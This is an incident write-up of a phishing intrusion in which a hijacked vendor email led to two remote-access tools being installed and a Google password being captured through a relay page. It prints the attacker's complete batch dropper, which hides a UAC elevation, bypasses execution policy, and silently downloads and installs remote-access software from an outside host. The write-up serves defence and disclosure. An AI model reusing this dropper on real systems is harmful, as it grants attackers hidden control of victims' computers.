Two Links,
One Email

What happened, in short

A small regional business became the second victim in a chain that started with one of its own vendors.

The vendor's email account had already been quietly taken over. We have no visibility into when or how — only that the account itself, and the mail server it sent from, were completely genuine. Nothing about the message that followed would have failed a technical check, because nothing about it was faked.

That message reached an employee, carrying an ordinary-looking event invitation and two separate links. They clicked one, then the other, over the course of a few minutes. In that time: two different pieces of commercial remote-access software were quietly installed on the laptop, both running with full system privileges — one of them very likely taken over by a live operator within seconds of landing. Separately, a near-perfect fake of a Google sign-in page captured a working password, one we can now confirm — from Google's own logs — was used successfully by the attacker minutes later.

Neither half required a software vulnerability. Both worked because a permission prompt was approved, and a password was typed, by someone with no reason yet to distrust either one.

Eleven minutes, reconstructed

Everything below comes from the machine's own browser history, its Windows event logs, and — for the account compromise — Google's own security log. Times are relative to the first click; the exact clock time isn't the point, and we'd rather not hand out more than that.

1. ClickAn employee clicks the first of two links inside the invitation.
2. +12 secA small zip file downloads. Inside it: a single script, 645 bytes.
3. +81 secThat script asks Windows for administrator permission — styled to look like a routine software update. The prompt is approved. Seconds later, the first remote-access tool is installed, running with full system privileges.
4. +3 min 23 secA second, different remote-access tool installs the same way. The gap and the pattern point to a live operator using the access the first tool just handed them — not another automated step.
5. +6 minIn parallel, the second link in the same email is opened, landing on an interstitial page.
6. +7 min 46 secThe page has rendered into a convincing fake sign-in screen. A password goes in.
7. +8 min 24 secGoogle's own security log later shows this password used successfully — from a commercial hosting address overseas, nowhere near where the employee actually was.
8. +10 min 19 secThe same session tries to change the account's password — 17 seconds after its second successful login. Google's own automated risk system blocks it.
9. +11 minLast contact with attacker infrastructure that appears in the browser history. This is not when the intrusion ended — the remote-access software stayed installed and reachable for another two days. It is only the last thing the browser recorded.

For the next two days, the employee used the laptop normally — logging into other business systems, joining a video call, sending and receiving email, even resetting an unrelated password of their own — all on a machine an outside party could already reach at will. Every automated system that looked at that machine during those two days reported it clean.

Not by an alert, and not by a scan. Someone working on-site for an unrelated reason opened Task Manager, noticed a service name that didn't belong, and sent a phone photo of the screen to NICK — the AI system that helps run this network's day-to-day operations and security. NICK flagged the unfamiliar service and a scheduled task sitting behind it, walked through a short list of read-only checks, and had the core picture — two implants, installed 122 seconds apart, both dialing out to addresses with no legitimate reason to be called — in a little under three hours. The full picture took considerably longer, and several parts of it corrected earlier conclusions. From infection to that photo: about two days.

The whole break-in was one approved prompt

There was no exploit here, nothing hacked in the traditional sense. The entire path to full system access ran through a single Windows permission dialog — the ordinary "Do you want to allow this app to make changes to your device?" prompt — styled to look exactly like a routine Adobe update. The employee approved what they reasonably believed was normal software housekeeping. That approval is the entire mechanism.

Here's the script that did it, lightly annotated. It's short enough to read end to end:

@echo off
if "%~1"=="HIDDEN" goto :INSTALL

:: Re-launch itself with a UAC elevation prompt — the "Adobe update" moment
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& { Start-Process cmd -ArgumentList '/c','\"%~f0\" HIDDEN' -Verb RunAs -WindowStyle Hidden }"
exit

:INSTALL
:: Now running elevated. Fetch a real remote-support tool from public cloud storage...
set "FILE=%TEMP%\LogMeInResolve_Unattended.msi"
set "URL=hxxps://hidjh4378rduf.s3.us-east-2.amazonaws[.]com/LogMeInResolve_Unattended.msi"   :: defanged
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "try { $ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri '%URL%' -OutFile '%FILE%' -UseBasicParsing } catch {}"

:: ...install it silently, with no further prompts...
start "" /wait /b msiexec /i "%FILE%" /quiet /qn /norestart

:: ...and clean up after itself
del "%FILE%" /f /q >nul 2>&1
exit

That's the whole thing. No custom malware, no zero-day — it downloads and silently installs a legitimate commercial remote-support product, using that product's own normal unattended-install flag, then deletes the installer behind it. A second remote-access tool followed about two minutes later; this script doesn't explain that part, which is consistent with a live operator taking over from here rather than a second automated step.

The other link: a sign-in page that isn't

Independently of the remote-access install, the second link in the same email led to a convincing fake of Google's own sign-in flow. What made it more than an ordinary fake: its URL structure mirrored the real thing step for step — not just a static screenshot, but something that behaves like a real-time relay sitting between the victim and the genuine sign-in page.

That distinction matters more than it might seem. If a phishing page is just a static copy, a one-time code from an authenticator app or a text message still protects you — an attacker can capture the code, but by the time they use it, it has usually already expired. A relay-style kit can pass that same code through in real time, while the victim is still typing it. Against this specific class of attack, standard SMS or app-based two-factor authentication may not be enough. Only phishing-resistant methods — a hardware security key or a passkey — reliably hold up.

We didn't have to guess whether it worked. Google's own security log shows a successful login, from that same commercial hosting address overseas, minutes after the fake page was reached — immediately followed by an attempt to change the account's password, which Google's own automated protections blocked on their own.

Six controls, six different ways to say "clean" — and be wrong

This is the part worth sitting with, whether or not you were ever near this specific attack.

Six separate, independent safeguards all reported this machine and this message as fine, for two full days, while it carried two live remote-access tools. Every one of them failed for a completely different reason, and none of them lied.

1. Antivirus was simply off. No scan had ever run on that machine — not one, ever. We did not establish the moment it was switched off, so we are not claiming the attacker found it that way rather than made it that way; only that the machine carries no scan history at all.

2. The software inventory checked the wrong shelf. The tool that lists installed programs only reads one specific registry location where software normally registers itself. Neither tool used here registers there. A scan run two days into the compromise came back: 58 ordinary programs, nothing unusual.

3. The log pull kept the count and dropped the answer. A log-collection script had been built to summarize event totals instead of preserving their content. The single log entry that would have named the intruder outright — service name, install path, everything — got reduced to the number 1.

4. The monitoring window quietly shrank. A script's requested lookback period silently fell back to a shorter default because of a naming collision in its own code. Seventy-two hours became twenty-four, with no error raised anywhere.

5. "Online" never expires. A fleet-status field is written once, on last contact, and never re-checked. A device that goes dark keeps reporting "online" indefinitely.

6. Email authentication passed — correctly. The message really had been sent by the account it claimed to be from; that account had simply been stolen first. Authentication proves who sent a message, not what they intend by it. No domain security policy rejects a genuine email from a genuinely compromised account.

None of these six lied. Each one answered a question narrower than the one that actually mattered — and every narrow answer came back shaped exactly like reassurance.

Where this stands right now

We're not going to pretend this is wrapped up. Here's the honest state of it as of publishing:

• Done

  Both remote-access tools were found and disabled the same day.

• Done

  The compromised account's password has been reset, and its active sign-in sessions have been revoked.

• In progress

  The affected laptop is being rebuilt from scratch. Disabling two implants after two days of full system access isn't the same as trusting the machine again.

• In progress

  Phishing-resistant multi-factor authentication is being rolled out to the affected account, which had none at the time of the attack.

• Still open

  The credential-phishing infrastructure sits behind a shared content-delivery network and can't be blocked by address alone. Closing that gap needs name-based filtering we don't fully have in place yet.

We'll keep this page current as that list changes. If it still says "in progress" a while from now, that's because it still is — not because we forgot to update it.

Indicators, for anyone checking their own environment

Below is what we're comfortable sharing publicly, drawn directly from our own forensics. Indicators are defanged — replace [.] with a dot before use. At least one of these was still serving live content days after the intrusion, so don't paste them into a browser.

Both remote-access products used here are legitimate software — their presence alone is not a reliable indicator. See the callout above; the relay address is what to check.

If you think you might be looking at the same thing

• A vendor email that feels slightly off — an unexpected resend, an unusual "special invite," a link where you'd expect a plain attachment — is worth a phone call to a known number before anyone clicks anything. This works specifically because the sender is someone you already trust.
• Any Windows permission prompt that appears right after opening a downloaded file deserves a hard stop, no matter how familiar it looks. Real software updates don't usually route through a file you just downloaded from an email link.
• Don't assume "my antivirus would have caught this." Nothing used here was flagged as malware, because none of it was — it was legitimate commercial software, configured to talk to the wrong server.
• Don't assume a clean software inventory means a clean machine. Check what's actually running and what it's calling out to, not just what appears in an "installed programs" list.
• If your important accounts don't have phishing-resistant multi-factor authentication — a hardware key or a passkey — prioritize it. This class of phishing kit can potentially relay a standard text-message or app code through in real time.
• If you administer a domain that sends vendor-style mail, know that stronger email authentication (SPF, DKIM, DMARC) would not have stopped this specific attack — the message was completely authentic. Those protections matter for a different, more common problem: someone spoofing your own domain, not a genuine vendor account being taken over.
• Treat every credential saved in a browser on a machine like this as compromised — not only the one you know was typed into a fake page.

This is still moving

This page will be updated as the investigation continues — we'd rather correct something here in public than leave a wrong impression standing. If any of the above matches what you're seeing on your own network, that's exactly who this was written for.